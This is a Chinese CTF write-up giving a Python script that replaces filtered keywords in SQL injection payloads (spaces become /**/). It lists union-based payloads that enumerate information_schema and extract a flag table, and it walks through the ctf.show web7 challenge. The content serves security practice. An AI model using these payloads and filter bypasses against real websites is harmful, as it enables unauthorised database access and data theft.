SQL注入屏蔽词替换python脚本(例题:ctf.show-web7)
适用场景
在ctf中经常会有关键字的屏蔽,例如屏蔽空格,屏蔽select等关键字。使用脚本直接完成关键字替换,避免pyload修改过于麻烦。
同时适用于linux等命令的屏蔽
常见绕过
学习链接:
https://www.cnblogs.com/Vinson404/p/7253255.html
脚本
shield=' '#屏蔽词
replace='/**/'#替换值
#and=&& or=||
#下面是参考payload,自己输入时注释以#结尾最好
payload1="1' or 1=1#"
payload2="1' or 1=1 order by 3#"
payload3="1' union select 1,2,3#"
payload4="1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3#"
payload5="1' union select 1,(select flag from web2.flag),3#"
#payload=input('please input your payload:\n')
new_payload=payload5.replace(shield,replace)
print('替换后的值:')
print(new_payload)
结果示例:
替换后的值:
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3#
例题(ctf.show-web7)
这里仿真的是一个文章查看及查询的界面,它的url有关键字?id=1
,可以确定为sql注入
进行探测,提示错误,那很有可能是屏蔽了关键字,使用脚本替换空格再放进去
探测成功,并且有两个位置回显
按照常规流程获取数据,获取时发现貌似还屏蔽了 and
,避开就好
取得flag